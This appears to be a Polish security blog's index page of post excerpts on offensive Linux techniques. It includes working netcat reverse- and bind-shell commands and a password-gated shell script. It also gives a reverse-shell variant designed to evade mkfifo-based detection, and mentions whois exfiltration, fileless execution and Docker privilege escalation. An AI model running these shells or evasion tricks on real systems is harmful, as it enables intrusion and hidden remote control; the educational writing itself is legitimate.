Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

Prosty skrypt autorstwa Vittorio Milazzo ukazujący sposób przyznania powłoki za pomocą netcat dopiero po podaniu hasła:

#!/bin/bash
ncpassword () {
NC="/bin/netcat"
PORT="999"
PASSWORD="123456"
SHELL="/bin/bash"

echo -n "Enter password: "

stty -echo
read  mypass
stty echo

if [ ${mypass} = $PASSWORD ]
  then
    echo "Access granted...start netcat shell on port $PORT"
    while true; do $NC -l -p $PORT -e $SHELL; done
  else
    echo "Incorrect Password"
fi
}

ncpassword
sh $0

O

podstawach działania narzędzia whois oraz jego dobrym działaniu jako źródle informacji pisałem nie raz. W aktualnej publikacji zajmiemy się zupełnie innym zastosowaniem tego narzędzia, a mianowicie eksfiltracją danych – znaną również jako wykradanie lub eksport danych do lokalizacji kontrolowanej przez atakującego. Słowem małego przypomnienia whois to prosty protokół żądania i odpowiedzi, powszechnie używany do przeszukiwania baz danych zawierających zarejestrowanych użytkowników obiektów internetowych, takich jak nazwy domenowe lub adresy IP. Ze względu na mnogość opcji oferowanych przez plik binarny tego narzędzia może zostać on użyty do przesłania dowolnego pliku z zaatakowanej maszyny na system atakującego za pośrednictwem jawnego połączenia TCP.
[ czytaj całość… ]

N

aszym zadaniem jest wystawienie usługi SSH do internetu, ale nie chcemy by ktoś oprócz naszej wiedzy tajemnej mógł się do niej połączyć. Nie będziemy używali rozwiązań typu VPN, port knocking, czy zmiany portu nasłuchu z 22 na inny. Secure Shell będzie nasłuchiwać na standardowym porcie i umożliwiała połączenie z dowolnego adresu IP. Jedynym warunkiem, jaki musi spełnić klient SSH to nawiązanie połączenia z konkretnego, tylko nam znanego portu źródłowego – w przeciwnym wypadku firewall nie dopuści do połączenia:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 --sport 31337 -m state --state NEW -j ACCEPT
iptables -A INPUT -j DROP

Jeśli spróbujemy teraz połączyć się ze standardowej puli źródłowych portów (1024:65535) klientem SSH – nasze połączenie zostanie odrzucone:

heavyarms:~ agresor$ ssh 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Connecting to 192.168.254.2 [192.168.254.2] port 22.

Zupełnie inaczej będzie to wyglądało kiedy wykorzystamy opcję klienta SSH o nazwie ProxyCommand, która wykorzysta pośrednie połączenie przez program netcat, który będzie miał ustawiony port źródłowy połączenia na stały numer 31337:

heavyarms:~ agresor$ ssh -o ProxyCommand="nc -p 31337 %h %p" 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Executing proxy command: exec nc -p 31337 192.168.254.2 22
debug1: Next authentication method: password
agresor@192.168.254.2's password:

Ten prosty mechanizm Security Through Obscurity pozwala nam na zdalny dostęp do serwera z dowolnego adresu IP jednocześnie trzymając zautomatyzowane boty atakujące SSH z daleka.

Więcej informacji: How can I set the source port for an SSH command-line client?, How does SSH’s ProxyCommand actually work?

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in „exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

F

ileless ELF exec – fee – to proste narzędzie, które umożliwia załadowanie bezpośrednio do pamięci (poprzez deskryptor pliku pamięci – memfd) wcześniej zakodowany i skompresowany plik binarny. Dlaczego zadawać sobie trud, aby uruchamiać pliki w ten sposób ? Ponieważ ataki bezplikowe (ang. fileless) są bardziej wymijające dla detekcji niż ataki, które polegają na upuszczaniu ładunku (ang. payload) na dysk. W celu skuteczniejszego wykrywania tego typu szkodliwego oprogramowania na systemie musi znajdować się ochrona, która wykorzystuje technikę analizy opartą na zachowaniu w czasie wykonywania plików i monitorowania pamięci. Fakt, że po wykryciu ładunek „żyje” w pamięci może także komplikować proces informatyki śledczej (szczególnie dla efemerycznych maszyn w chmurze), ponieważ musi on zostać zrzucony z pamięci.
[ czytaj całość… ]

C

lamAV to silnik antywirusowy typu open source, który jest szeroko stosowany na serwerach pocztowych oraz różnych komercyjnych, „zamkniętych skrzynkach”. 15 lutego 2023 roku na blogu programu został opublikowany biuletyn bezpieczeństwa szczegółowo opisujący potencjalną lukę umożliwiającą zdalne wykonanie kodu w swoim parserze systemu plików HFS+ (głównym problemem jest brak sprawdzania rozmiaru podczas kopiowania bloków do bufora węzła). Luce tej nadano CVE: CVE-2023-20032. Co ciekawe podczas analizy poprawek tych luk Jared Stroud natknął się na otwarty pull request wskazujący, że nieuprzywilejowani użytkownicy mogą wyłączyć daemona clamav.
[ czytaj całość… ]

W

yobraźmy sobie następujący scenariusz. Wyciekł klucz SSH umożliwiający zalogowanie się do zwykłego konta platformy wdrożeniowej. Był on używany do wdrażania i aktualizacji repozytoriów za pomocą ansible. Umożliwia on zalogowanie się na powłokę systemową grupy serwerów, na której są budowane i uruchamiane kontenery Docker. Samo konto nie posiada żadnych dodatkowych uprawnień ani grup. Zastanówmy się teraz w jaki sposób możemy dokonać eskalacji uprawnień wykorzystując jedną z przestrzeni nazw (ang. namespace) kontenera Docker oraz rozszerzonej zdolności Linuksa (ang. capabilities).
[ czytaj całość… ]

r

lWrap jest opakowaniem biblioteki readline umożliwiającym edycję danych wejściowych z klawiatury dla dowolnego polecenia; zapewnia również mechanizm historii, który jest bardzo przydatny do poprawiania lub ponownego wykorzystywania poleceń. Program ten można wykorzystać wszędzie tam, gdzie interfejs wiersza poleceń danego narzędzia nie umożliwia takich czynności. W dodatku, jeśli posiadamy wolne połączenia z daną siecią, gdzie każde naciśnięcie klawisza jest przesyłane jedno po drugim w zauważalnej pauzie, a każda literówka staje się o wiele bardziej frustrująca i czasochłonna dla nas – rlwrap również sprawdza się w tej sytuacji, ponieważ buforuje wszystkie pojedyncze naciśnięcia klawiszy do momentu naciśnięcia klawisza [Enter], a następnie przesyła jednocześnie całą wprowadzoną linię tekstu. To znacznie ułatwia pisanie z dużą prędkością i poprawianie literówek.
[ czytaj całość… ]

J

eśli używasz SSH to Twój klient przechowuje w katalogu domowym listę mapującą nazwy hostów i adresy IP każdego zdalnego hosta, z którym się połączyłeś. Ta „baza danych”, znana jako plik known_hosts może zostać wykorzystana przez atakujących, którzy naruszyli konta użytkowników. Rezultatem odczytania tego pliku jest „obraz” sieci, ujawniający, do których systemów mamy jeszcze połączenie. Może ułatwić to szkodliwemu oprogramowaniu i innym szkodliwym skryptom w rozprzestrzenianiu się na inne systemy, gdy tylko jeden system w sieci został skompromitowany. Plik ten jest dostępny w katalogu ~/.ssh każdego użytkownika, który chociaż raz łączył się jako klient SSH z zdalnym systemem. Jest on na tyle użyteczny, że w przypadku zmiany podpisu serwera – klient SSH będzie chronić użytkownika, powiadamiając go o tej sytuacji komunikatem typu:
[ czytaj całość… ]